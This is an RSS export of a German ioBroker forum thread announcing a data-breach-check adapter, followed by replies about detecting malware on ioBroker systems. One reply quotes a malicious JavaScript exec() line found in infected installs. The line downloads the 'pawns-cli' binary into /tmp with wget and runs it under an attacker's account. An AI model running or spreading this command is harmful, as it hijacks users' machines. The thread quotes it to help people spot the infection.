<![CDATA[Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen]]>ioBroker.pwned-check – Passwörter & E-Mails auf Datenlecks prüfen

Hallo zusammen,

ich möchte euch meinen neuen Adapter ioBroker.pwned-check vorstellen. Er prüft regelmäßig, ob eure Passwörter oder E-Mail-Adressen in bekannten Datenlecks aufgetaucht sind – Passwörter über Have I Been Pwned, E-Mails über XposedOrNot.

Was macht der Adapter?

ioBroker.pwned-check prüft in konfigurierbaren Intervallen:

  • Passwörter über die Have I Been Pwned-API – der SHA-1-Hash wird im Browser berechnet, nur die ersten 5 Zeichen werden übertragen (k-Anonymity). Weder das Klartext-Passwort noch der vollständige Hash verlassen euren Server – ioBroker speichert ausschließlich den Hash
  • E-Mail-Adressen über die XposedOrNot-API – die Adresse wird direkt abgefragt und mit bekannten Datenleck-Datenbanken abgeglichen

Wird ein Treffer gefunden, wird eine Benachrichtigung ausgelöst. Der Adapter unterstützt das ioBroker Notification-System, sodass sich der Benachrichtigungskanal (z. B. Telegram) bequem über den Notification Manager konfigurieren lässt.

Datenpunkte

Für jedes Passwort und jede E-Mail werden Datenpunkte angelegt:

  • isPwned – wurde ein Leak gefunden?
  • leakCount – Anzahl der bekannten Vorkommen
  • lastCheck – Zeitpunkt der letzten Prüfung
  • info.anyPwned – globaler Status, ob irgendetwas kompromittiert ist

Konfiguration

  1. Adapter installieren und Instanz öffnen
  2. Passwörter und/oder E-Mail-Adressen eintragen
  3. Prüfintervall festlegen (Standard: 24 Stunden)

GitHub

Feedback, Bugreports und Feature-Wünsche sind herzlich willkommen!

]]>https://forum.iobroker.net/topic/84244/test-iobroker.pwned-check-daten-auf-datenlecks-prüfenRSS for NodeMon, 13 Apr 2026 02:02:56 GMTTue, 07 Apr 2026 06:43:44 GMT60<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 20:04:07 GMT]]>

@Thomas-Braun sagte:

Nein, der Adapter könnte aber prüfen, ob das Zeug läuft.

Ist eingebaut.
Passt zwar eigentlich nicht zum Adapter, aber durch den Namen "pawns-cli" irgendwie doch ^^.

Wenn was Feedback gekommen ist, ob es überall läuft, schaue ich mal ins latest zu kommen.

]]>https://forum.iobroker.net/post/1333571https://forum.iobroker.net/post/1333571Wed, 08 Apr 2026 20:04:07 GMT<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 19:27:08 GMT]]>@Thomas-Braun Hier geht die Diskussion weiter https://forum.iobroker.net/topic/84252/iobroker.securitycheck-brainstorming

]]>https://forum.iobroker.net/post/1333568https://forum.iobroker.net/post/1333568Wed, 08 Apr 2026 19:27:08 GMT<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 19:22:18 GMT]]>@Feuersturm

Im Kleinen hab ich solch einen (zumindest rudimentären) Check in iob diag drin. Wobei ich nicht weiß, ob der Check aus externe Module erfasst oder sich auf die 'ab Werk' mitgelieferten beschränkt.

]]>https://forum.iobroker.net/post/1333566https://forum.iobroker.net/post/1333566Wed, 08 Apr 2026 19:22:18 GMT<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 18:28:51 GMT]]>@Thomas-Braun

Ob sich diese User so Adapter installieren ^^.

]]>https://forum.iobroker.net/post/1333548https://forum.iobroker.net/post/1333548Wed, 08 Apr 2026 18:28:51 GMT<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 16:33:51 GMT]]>

@David-G. sagte:

Wer testet es dann freiwillig 🤣?

Unfreiwillig testen es die ganzen Leute, die den Admin ungesichert im Netz stehen haben.

]]>https://forum.iobroker.net/post/1333540https://forum.iobroker.net/post/1333540Wed, 08 Apr 2026 16:33:51 GMT<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 16:27:58 GMT]]>Okay, dann schaue ich da morgen mal nach.
Wer testet es dann freiwillig 🤣?

]]>https://forum.iobroker.net/post/1333538https://forum.iobroker.net/post/1333538Wed, 08 Apr 2026 16:27:58 GMT<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 16:23:13 GMT]]>

@David-G. sagte:

Deshalb?

Ja!
Das ist kein Einzelfall gewesen!

]]>https://forum.iobroker.net/post/1333537https://forum.iobroker.net/post/1333537Wed, 08 Apr 2026 16:23:13 GMT<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 16:22:13 GMT]]>

@David-G. sagte:

Ist das noch aktuell?

Ja, das ist immer noch aktuell.

]]>https://forum.iobroker.net/post/1333536https://forum.iobroker.net/post/1333536Wed, 08 Apr 2026 16:22:13 GMT<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 16:18:12 GMT]]>Warum genau da drauf prüfen? Gibt ja maleware ohne Ende.

EDIT
Deshalb?
https://forum.iobroker.net/topic/66381/gelöst-seltsames-script-unter-global

Ist das noch aktuell?

]]>https://forum.iobroker.net/post/1333535https://forum.iobroker.net/post/1333535Wed, 08 Apr 2026 16:18:12 GMT<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 15:44:38 GMT]]>@David-G.

Nein, der Adapter könnte aber prüfen, ob das Zeug läuft.

]]>https://forum.iobroker.net/post/1333534https://forum.iobroker.net/post/1333534Wed, 08 Apr 2026 15:44:38 GMT<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 15:44:33 GMT]]>@thomas-braun
Mein System ist sauber und der Adapter installiert die pawns-cli nicht.

Läuft alles über API.

]]>https://forum.iobroker.net/post/1333533https://forum.iobroker.net/post/1333533Wed, 08 Apr 2026 15:44:33 GMT<![CDATA[Reply to Test: ioBroker.pwned-check – Daten auf Datenlecks prüfen on Wed, 08 Apr 2026 11:08:00 GMT]]>@David-G.

Du könntest auch prüfen ob der Prozess
pawns-cli
auf dem System läuft.
Dann wurde die Kiste nämlich mit Malware infiziert. Auf solchen Systemen läuft dieses unter 'Globale Skripte' abgelegte Ding:

exec('cd /tmp/ ; wget https://pawns-app.s3.eu-central-1.amazonxxx.com/cli/latest/linux_x86_64/pawns-cli; chmod -x pawns-cli ; ./pawns-cli -email=ryanreynolds284@protonmail.com -password=goodluck999! -device-name=NEW79164@io --accept-tos', function (error, stdout, stderr) {
    console.log('stdout: ' + stdout);
});
]]>https://forum.iobroker.net/post/1333500https://forum.iobroker.net/post/1333500Wed, 08 Apr 2026 11:08:00 GMT